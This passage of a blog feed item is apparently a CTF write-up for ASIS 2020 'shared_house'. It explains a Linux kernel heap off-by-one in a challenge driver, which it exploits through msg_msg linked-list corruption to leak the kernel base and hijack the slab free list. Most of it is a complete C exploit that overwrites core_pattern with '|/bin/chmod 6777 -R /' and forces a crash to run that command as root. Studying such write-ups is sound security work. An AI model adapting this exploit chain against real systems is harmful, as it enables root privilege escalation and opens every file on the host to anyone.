&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_alloc_new_note&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_write_note&lt;/span&gt;(buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);  &lt;span style=&#34;color:#75715e&#34;&gt;// Trigger off-by-one
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;get-controlleduaf-msg_msg-chunk&#34;&gt;Get controlled(UAF) msg_msg chunk&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;struct msg_msg&lt;/code&gt;, the &lt;code&gt;m_list.next&lt;/code&gt; and &lt;code&gt;m_list.prev&lt;/code&gt; exist.
And they are connected with other messages by using double linked list.&lt;/p&gt;
&lt;p&gt;Because we can overwrite 1 byte after our &lt;code&gt;note&lt;/code&gt;, we can overwrite LSB of &lt;code&gt;m_list.next&lt;/code&gt; if the message is located after our &lt;code&gt;note&lt;/code&gt;.
My plain is &amp;ldquo;making dangling pointer in &lt;code&gt;m_list&lt;/code&gt; to free-ed message and make the free-ed chunk become our note.&lt;/p&gt;
&lt;p&gt;For example, initial messages (consider all messages locate consequently):&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| B
	  A --&amp;gt;|prev| E
	
	  B[msg 2] --&amp;gt;|next| C
	  B --&amp;gt;|prev| A
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| B
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;And free middle message (msg 2) via &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1098&#34;&gt;&lt;code&gt;do_msgrcv&lt;/code&gt;&lt;/a&gt; and allocate it as our note:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;Make invalid &lt;code&gt;m_list.next&lt;/code&gt; via triggering off-by-one:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] --&amp;gt;|next| E
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;With this connections, the &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1163&#34;&gt;unlink&lt;/a&gt; of &lt;code&gt;msg 5&lt;/code&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1259&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt; to it make dangling pointer to &lt;code&gt;msg 5&lt;/code&gt; in &lt;code&gt;msg 3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After freeing &lt;code&gt;msg 5&lt;/code&gt;, the allocated note will be have same address with &lt;code&gt;msg 5&lt;/code&gt;.
Then we can make &lt;code&gt;limited_aar&lt;/code&gt; using &lt;code&gt;next&lt;/code&gt; in &lt;code&gt;struct msg_msg&lt;/code&gt;.
The disadventage of &lt;code&gt;limited_aar&lt;/code&gt; is 1. the first 8 bytes must be zeros (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L161&#34;&gt;&lt;code&gt;store_msg&lt;/code&gt;&lt;/a&gt;) 2. the read address will be freed (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L180&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But we can leak the address of &lt;code&gt;msg 5&lt;/code&gt;(UAF chunk) and kernel base only with &lt;code&gt;limited_arr&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;overwrite-free-list-and-allocate-arbitrary-address-via-kmalloc&#34;&gt;Overwrite free list and allocate arbitrary address via &lt;code&gt;kmalloc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk.
Currently the &lt;code&gt;note&lt;/code&gt; (this is same as &lt;code&gt;msg 5&lt;/code&gt;) is freed and thus it has pointer to next free-ed chunk.
So overwriting it with &lt;code&gt;core_pattern&lt;/code&gt; address, allocating serveral chunks and ETC give us the &lt;code&gt;core_pattern&lt;/code&gt; as &lt;code&gt;note&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;code&#34;&gt;Code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;295763184&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;295763184&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;AsisCTF2020Qual-shared_house-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt;= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/note&amp;#34;
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &amp;amp;req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &amp;amp;req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == &amp;#39;A&amp;#39;) {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal(&amp;#34;[-] Failed to find UAF msg_msg&amp;#34;);
    }

    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg-&amp;gt;next = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;prev = (struct msg_msg*)fake_msg;
    fake_msg-&amp;gt;m_type = 1;
    fake_msg-&amp;gt;m_ts = target_obj_size;
    memset(fake_msg-&amp;gt;data, &amp;#39;A&amp;#39;, 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg-&amp;gt;next = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg-&amp;gt;m_type = 1;
  uaf_msg-&amp;gt;m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg-&amp;gt;next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i &amp;lt; (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] &amp;amp; KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr &amp;lt; *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_msgmsg: %p\n&amp;#34;, fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype &amp;gt; 0) {
    printf(&amp;#34;[-] Failed to find UAF msg_msg\n&amp;#34;);
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf(&amp;#34;[+] Found UAF msg_msg with mtype: %d\n&amp;#34;, uaf_msgmsg_mtype);
  printf(&amp;#34;    [*] Now note is same as UAF msg_msg\n&amp;#34;);
  printf(&amp;#34;    [*] The prev of UAF msg_msg is 0x%016lx\n&amp;#34;, prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf(&amp;#34;[*] Leaking UAF chunk addr and kernel base...\n&amp;#34;);
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &amp;amp;uaf_chunk_addr, &amp;amp;kernel_addr) &amp;lt; 0) {
    printf(&amp;#34;    [-] Failed to leak uaf chunk addr and kernel base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;    [+] Found UAF chunk address: 0x%016lx\n&amp;#34;, uaf_chunk_addr);
  printf(&amp;#34;    [+] Found kernel address: 0x%016lx\n&amp;#34;, kernel_addr);

  printf(&amp;#34;[*] Overwrite free list to overwrite modprobe_path\n&amp;#34;);
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 &amp;lt; 0) {
    fatal(&amp;#34;msgget&amp;#34;);
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf(&amp;#34;    [*] Overwriting free list at 0x%016lx to 0x%016lx\n&amp;#34;,
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&amp;amp;next_free_chunk, 8);
  printf(&amp;#34;    [*] Consume chunks in free list&amp;#34;);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf(&amp;#34;    [*] Now allocate note with addr=0x%016lx\n&amp;#34;, next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;\n&amp;#34;, new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf(&amp;#34;    [-] Failed to overwrite core_pattern (core_pattern=\&amp;#34;%s\&amp;#34;)\n&amp;#34;,
             core);
      return -1;
    }
  }

  printf(&amp;#34;    [+] Successfully overwrite core_pattern\n&amp;#34;);

  printf(&amp;#34;[*] Trigger core_pattern\n&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/ASIS/2020/Quals/shared_house&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&#34;&gt;https://duasynt.com/blog/cve-2016-6187-heap-off-by-one-exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
